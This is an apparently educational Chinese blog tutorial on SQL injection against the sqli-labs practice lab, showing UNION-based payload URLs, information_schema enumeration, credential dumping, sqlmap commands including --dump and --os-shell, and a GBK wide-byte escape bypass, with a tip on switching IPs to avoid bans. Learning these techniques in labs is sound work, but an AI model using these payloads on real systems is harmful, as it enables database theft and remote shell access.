簡單易懂的SQL注入漏洞詳解
SQL注入原理
1.SQL注入是將SQL代碼插入到網站應用的參數之中,傳入到後臺資料庫伺服器解析執行的攻擊
2.SQL注入的主要方式是直接將SQL代碼插入到參數中,這些參數會被置入到SQL命令中加以執行
3.攻擊者能修改SQL語句時,該進程將與執行命令的組件(資料庫伺服器、web伺服器)擁有相同許可權
SQL注入一般存在於表單提交、搜索框查詢等需要後臺執行SQL查詢的地方
如果開發人員直接使用SQL語句對提交的查詢進行執行,或者過濾不嚴即會產生SQL注入漏洞
例如下面這段PHP代碼:
$sql="SELECT * FROM user where username=user and password=pass";
mysql_query($sql);
這段代碼向資料庫查詢了用戶名和密碼,但是沒有經過任何的過濾,這時候如果在用戶界面
輸入 admin 進行登錄會返回錯誤界面,沒有對單引號進行過濾,證明存在漏洞
手工尋找SQL注入
打開瀏覽器訪問101.200.44.127,選擇SQL注入練習
用單引號爆出錯誤信息
發現報了sql語句的語法錯誤,那麼應該存在sql注入,因為沒過濾單引號,我們就可以閉合單引號注入什麼的
SELECT * FROM users WHERE id=1 這樣拿去查詢肯定報錯啊,單引號都不匹配
為了方便理解我在源碼中加了句SQL語句輸出
接下來用order by 獲取欄位總數
127.0.0.1/sqli-labs/Less-1/?id=1%20%27order%20by%204%23
%20是空格和+號連接符的URL編碼,%27是單引號的URL編碼
%23是#號的編碼,#號的作用是把#後邊的語句注釋掉
(阿里雲的伺服器在經過多次攻擊測試後會封掉訪問者IP一段時間)
(若代理換ip可以解決上邊的問題,考慮到訪問速度我沒換ip,所以我換成了本機的環境)
可以看到當order by 4時會報錯而order by 3返回正常,所以確定欄位數為3。
接下來使用UNION聯合查詢,UNION可以連接多條語句的查詢結果
先查頁面所返回的準確列數,用二分法查找構造url方式如下,直到不返回錯誤
127.0.0.1/Less-1/?id=1%27+union+select+null%23
127.0.0.1/Less-1/?id=1%27+union+select+null,null%23
127.0.0.1/Less-1/?id=1%27+union+select+null,null,null%23
3個null時不再報錯證明有3個欄位,這種方式比較費時,可以用工具代替(例如SQLmap)
匹配數據類型:
識別出準確的列數之後,現在是時候選擇其中的一列或者幾列來查看一下是否存在正在查找的數據了
如果想提取一個字元串的值,需要找到一個數據類型為字元串的列然後用示例字元串替換null
127.0.0.1/Less-1/?id=1+union+select+null,test,null%23
只要應用不反回錯誤,即可知道剛才存儲test值的列可以保存一個字元串,可以用它來顯示需要的值
下面查詢資料庫的各種信息
可以看到只有第2列和第3列的結果顯示在網頁上,所以我們就只能用2,3這個位置了,但是兩個位置應該是不夠用的,這時我們就用到資料庫的連接函數了,常用的就concat和concat_ws,其中concat_ws的第一個參數是連接字元串的分隔符,還會用到group__concat(可以把查詢出來的多行連接起來)
用的較多的就是這個,以後直接複製(32是空格的十進位ASCII)
concat_ws(char(32,58,32),user(),database(),version())
user():返回當前資料庫連接使用的用戶
database():返回當前資料庫連接使用的資料庫
version():返回當前資料庫的版本
構造URL攻擊:
127.0.0.1/Less-1/?id=xk%27 //注意這裡將id換成了字元串類型
+union+select%201,2,concat_ws(char(32,58,32),user(),database(),version()%23
獲得了資料庫用戶,資料庫名,資料庫版本
查詢security資料庫中有哪些表:
mysql資料庫有個系統資料庫information_schema,安裝完就有,
記錄是當前資料庫的資料庫,表,列,用戶許可權等信息,
下面說一下常用的幾個表:
SCHEMATA表:儲存mysql所有資料庫的基本信息,包括資料庫名,編碼類型路徑等,show databases的結果取之此表。
TABLES表:儲存mysql中的表信息,(當然也有資料庫名這一列,這樣才能找到哪個資料庫有哪些表嘛)包括這個表是基本表還是系統表,資料庫的引擎是什麼,表有多少行,創建時間,最後更新時間等。show tables from schemaname的結果取之此表
COLUMNS表:提供了表中的列信息,(當然也有資料庫名和表名稱這兩列)詳細表述了某張表的所有列以及每個列的信息,包括該列是那個表中的第幾列,列的數據類型,列的編碼類型,列的許可權,列注釋等。show columns from schemaname.tablename的結果取之此表。
查詢information_schema中的信息時,使用where語句,那個值不能直接用英文,要用單引號包裹著,用其十六進位表示也可以,數值類型的就不必用單引號了
通過limit列舉表名字
127.0.0.1/Less-1/?id=xk+union+select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1%23
127.0.0.1/Less-1/?id=xk+union+select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1%23
127.0.0.1/Less-1/?id=xk+union+select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1%23
127.0.0.1/Less-1/?id=xk+union+select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1%23
127.0.0.1/Less-1/?id=xk+union+select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 4,1%23
第一個表:
第二個表:
第三個表:
第四個表:
第五個時候會出錯什麼都不顯示:
可以看到跟用phpMyAdmin查看的結果是一樣的:
接下來列舉列名,同樣也是用limit一個一個來,就知道欄位有id,username,password
那麼最後一步了:也就是所謂的脫庫,把用戶名密碼拖出來
但是這樣試速度太慢,所以下面我們用注入神器SQLmap來操作一波:
安裝過程略過,自己去搜索,我用的是kali上集成的SQLmap。
SQLmap -h 這個命令可以獲得SQLmap的參數使用幫助
驗證注入:
sqlmap -u "http://192.168.0.21/Less-1/?id=wintry"
可以看到存在的注入類型:基於錯誤、基於時間的盲注、聯合查詢等~
資料庫類型是Mysql、伺服器系統為windowsweb應用程序PHP和Apache的版本等信息
接著列舉資料庫名
sqlmap -u "http://192.168.0.21/Less-1/?id=wintry" --dbs
查到了15個資料庫,接下來我們要查詢security這個資料庫的表
sqlmap -u "http://192.168.0.21/Less-1/?id=wintry" -D security --tables
如圖,輕鬆獲取4個表。
接下來當然是得到表中的列了
sqlmap -u "http://192.168.0.21/Less-1/?id=wintry" -D security --tables -T users --columns
得到3個列名
然後就是把欄位搞出來了,也就是所謂的脫庫
sqlmap -u "http://192.168.0.21/Less-1/?id=wintry" -D security --tables -T users --columns --dump
獲取到了所有用戶名和密碼~~~
最後附上兩個SQLmap使用案例
GET參數注入案例
1.驗證某個SQL注入是否有效
sqlmap -u "http://site.com/info.php?user=test&pass=test" -b
2.獲取資料庫用戶名
sqlmap -u "http://site.com/info.php?user=test&pass=test" --current-user
3.交互shell
sqlmap -u "http://site.com/info.php?user=test&pass=test" --os-shell
技巧和提示:
1)若你認為存在注入,但是sqlmap沒檢測出來,使用選項 --dbms=[database type]
2)若目標要求用戶進行登錄認證,用Burp獲取cookie,使用 --data=[cookie]
3)卡住了?試試這個命令 sqlmap --wizard
POST注入案例
1.驗證SQL注入
sqlmap -u "http://site.com/info.php?" --data="user=test&pass=test" -b
2.獲取資料庫用戶名
sqlmap -u "http://site.com/info.php?" --data="user=test&pass=test" --current-user
3.交互shell
sqlmap -u "http://site.com/info.php?" --data="user=test&pass=test" --os-shell
細分SQL注入類型
主要有 數字型、字元型、搜索型
1.數字
SQL語句特點:1
判斷方式:
and 1=1
and 1=2
2.字元
SQL語句特點:admin
判斷方式:
and 1=1
and 1=2
3.搜索
SQL語句特點:%9%
%通配符
判斷方式:
% and %1%=%1
% and %1%=%2
SQL注入-高級篇寬位元組注入
寬位元組注入,我們也可以稱之為轉義繞過。
寬位元組注入源於程序員設置MySQL連接時錯誤配置為:set character_set_client=gbk,
php代碼:mysql_query("SET NAMES gbk");
這樣配置會引發編碼轉換從而導致的注入漏洞。(GBK導致的問題)
utf-8 3個位元組
gbk 2個位元組
具體原理如下:
當GPC開啟(php.ini
magic_quotes_gpc = On)或使用addslashes函數過濾提交的參數時,
測試注入點使用的單引號 就會被轉義為:
顯而易見:函數的作用就是轉義(對銘感的字元前面加 反斜槓 )
字元對應的URL編碼:
%5c
%27
繞過:
%5c%df%27
百分號後邊兩個字元的ASCII碼和大於128即可
構造注入點:
http://localhost:8080/sql1/sql1.php?title=1%bb
直接丟到sqlmap裡面
推薦閱讀: